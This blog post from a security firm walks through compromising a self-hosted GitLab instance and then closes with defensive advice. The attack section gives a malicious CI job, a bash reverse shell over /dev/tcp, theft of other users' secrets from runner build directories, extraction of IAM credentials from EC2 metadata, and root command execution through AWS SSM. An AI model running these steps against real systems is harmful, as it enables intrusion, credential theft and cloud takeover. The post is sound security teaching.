In this blog post, we will discuss attacking a self-hosted GitLab instance. GitLab is an open-core CI/CD platform that allows for the development and deployment of software. It combines the version control capabilities of Git with the ability to test and deploy packages, or even infrastructure, through automated pipelines.

By design, CI/CD suggests the automated execution of tasks when code is being tested or deployed. Automation pipelines also need a way to deploy changes to infrastructure where access can easily be implemented insecurely.

Terms

To start attacking GitLab, it is important to become familiar with some of the terms it uses. Below I will define some concepts used by GitLab.

Jobs

A job can be thought of as a function or a single task. A pipeline is often made up of a series of jobs defined in a YAML file which are picked up individually by any available GitLab runners. An example of a simple job that might be used to build a frontend JavaScript application might look like the following:

build_frontend:     stage: build     image: node:18     only:         refs:             - main         changes:             - .gitlab-ci.yml             - frontend/**     script:         - cd frontend         - npm ci         - npm run build     artifacts:         paths:             - frontend/build         expire_in: 1 hour

Notice, in the script section a series of commands are defined that are executed by the runner.

GitLab Runners

Runners are essentially agents which communicate with the main GitLab instance. They can run on the GitLab instance itself, but more commonly are seen deployed across multiple separate hosts. When a new pipeline is triggered in GitLab it uses available runners and distributes tasks to them. Whether or not a runner is available for a given project depends on the runner’s scope. The available scope options for runners includes instance, group, or project.

Instance runners are particularly interesting from an offensive security perspective. These are globally available runners. Meaning, they are available to pick up jobs for any project created by any user in the GitLab instance. An authenticated user could create a new pipeline and execute commands in the context of the runner.

Initial Access: Hijacking A Runner

Let’s take a look at a vulnerable GitLab configuration using instance runners. This is assuming you are able to authenticate to the target GitLab instance, which can be quite common if SSO through Azure AD is set up.

The first thing to do is create a new test repository and check for available instance runners.

Figure 1 – Creating a test project

After the repository is created, in the navigation menu go to Settings → CI/CD. There will be a list of different settings for the project’s pipeline configuration. Under Runners, click Expand to check for instance runners.

If you’re lucky, you will see some instance runners online.

Figure 2 – Available instance runners

Oh boy! The GitLab instance has two available runners that will pick up jobs for this project.

Note:** The blue text under the name of the runner is called a tag. The job must use this tag to be picked up by that runner.**

Let’s execute a job inside that runner with the tag vulnerable. Here we want to find out some basic information about the host like hostname, network information, and most importantly, the executor type. Create a new pipeline file in the GitLab web interface called .gitlab-ci.yml.

stages:

– malicious

malicious:

stage: malicious

tags:

– vulnerable

script:

– id

– uname -a

– ip a

– curl <https://example.com>

By default, when a file by the name of .gitlab-ci.yml is pushed to a repository in GitLab, it triggers a new pipeline run which uses the file configurations. Push the changes to the repository and go back to the project main page. If you see a green check next to the commit SHA hash, then your pipeline successfully finished.

Figure 3 – Pipeline build succeeded

**Figure 4 – Pipeline build details **

Hurray! The runner is using the “shell” executor method. This means that the commands inside jobs are executed on the underlying host and not inside a containerized environment (Docker, etc).

Additionally, we get a valid HTTP response from our curl request which means there probably are no network restrictions for outbound HTTPS traffic.

Time for a shell🐢.

Update the pipeline file with a bash reverse shell and commit the changes to the repository. We can use port 443, since we already know that HTTPS traffic is allowed out.

stages:

– malicious

malicious:

stage: malicious

tags:

– vulnerable

script:

– /bin/sh -i >& /dev/tcp/<IP>/<PORT> 0>&1

Figure 5 – Reverse shell with pipeline build

Nice! We have gained remote access to the runner host. By default, the job will execute as the gitlab-runner user which has a randomized password and is not a member of the sudoers group. However, there are still some juicy directories to check for sensitive data.

Post Exploitation: Triaging Secrets

When a runner picks up a job from a given project, the repository files are pulled down locally to work with. The jobs executed on a runner are stored under the gitlab-runner’s home directory. We can access the repository files of other jobs that were executed on this runner. This is a great place to start looking for secrets like environment files, plaintext passwords, API keys, or private keys.

Figure 6 – Browsing recent builds on compromised runner

Hmmm… we can see that there are builds from another user on this runner (fake-admin). Let’s go look inside that directory.

Figure 7 – Sensitive data inside another user directory

Bingo! This other repository looks like it contains an environment file (.env) and an SSH private key. We can steal these secrets now and read the .gitlab-ci.yml to see what host and user the private key is for.

Pivoting to the Cloud

If the target environment is hosted within a virtual private cloud, then there may be an opportunity to pivot further into that environment. Since we have compromised an AWS EC2 instance, we now have access to the AWS metadata service.

The EC2 instance is enforcing IMDSv2 which puts some constraints on the type of requests that can access the metadata service. Luckily for us, we have shell access so we can send the required PUT requests.

First you will need to get a token from the metadata service, then you can use that token with the header X-aws-ec2-metadata-token to authenticate to the service. A bash script that enumerates useful information from the metadata service can be found here.

Running the enumeration script on the EC2 instance below, we discover there is an IAM role associated with the EC2 instance, VulnerableSSMRole.

Figure 8 – Script output which contains token for IAM role

This IAM role name appears to indicate that it grants permissions for AWS Systems Manager. This permission allows for the remote management of systems running the SSM Agent, including command execution remotely!

You can assume the permissions of this role by creating a profile with the AccessKeyId, SecretAccessKey, and Token values.

On our own machine let’s authenticate to the AWS environment using awscli.

nano ~/.aws/credentials

…

[<role name>]

aws_access_key_id = <AccessKeyId>

aws_secret_access_key = <SecretAccessKey>

aws_session_token = <Token>

To check if the credentials work, run aws sts get-caller-identity –profile <role name> . If you do not receive an error, then you are authenticated as the IAM role.

Now if you can determine an EC2’s instance ID through listing or discovering it, then you should be able to effectively compromise that host using the send-command command.

Let’s try to write a file to an EC2 that we have SSM control over.

aws ssm send-command –instance-ids “<instance ID>” –document-name “AWS-RunShellScript” –output text –parameters commands=”touch /tmp/gitlab-got-pwned.txt” –profile <role name>

Figure 9 – Executing a command on an EC2 instance using SSM permissions

This output looks good… Now let’s check the /tmp directory on that EC2 instance.

Figure 10 – Confirming the file was written as root

And that’s that, we have root access on any machine running the SSM agent in this VPC all because there was a global instance runner and a dangerous IAM role associated with this EC2 instance.

Defense

Now let’s ask ourselves, what went wrong here and what can we do about it from a defense perspective?

Prevention

**Network Access Controls **

Restricting network access to your self-hosted GitLab instance is the first step to prevent unauthorized access to the host. If properly implemented, this will keep the bad guys from ever being able to touch the host in the first place.

**Authentication/Authorization **

If using an OAuth provider for SSO to authenticate to GitLab, it is imperative that access is restricted to specific group claims on the provider and GitLab server. **This way you can prevent any user account within the provider from authenticating into the GitLab server. **

The default username/password authentication for GitLab requires new users to sign up at the URI /users/sign_up. This generates a sign-up request which must be approved by an administrator and should be effective for keeping unauthorized users out.

**Instance Runners **

Global instance runners are risky for the reasons mentioned above. Avoid configuring any instance runners and instead opt for group or project runners. Additionally, always use a containerized executor method so that host-level access is not easily obtained.

**AWS IAM Roles **

Be very cautious about the IAM roles that you permit to EC2 instances. Keep in mind that if an attacker were to gain shell access or even just the ability to control web requests from the instance,** then they could likely steal the access keys for any roles attached and wreak havoc on your cloud environment.** Without any IAM roles this attacker would only be able to take over the default EC2 instance role which doesn’t grant many permissions.

Detections

**CloudTrail Monitoring and CloudWatch Alarms **

AWS CloudTrail logs every API call made in your AWS account, including calls related to IAM roles. To detect potentially malicious activity, you can monitor CloudTrail logs for suspicious activity such as untrusted regions or actions. CloudWatch alarms can be set to trigger for AccessDenied events as attackers enumerate the permissions for the IAM role.

Penetration Testing

If you want to see where you stand, regular penetration testing against your DevOps and cloud environments can identify gaps that may exist. Our team consistently uncovers issues like those mentioned above, as well as many others, to compromise an organization’s entire cloud environment.

Interested in utilizing the expertise of our elite Offensive Security team? Contact us today and explore how we can enhance your security efforts.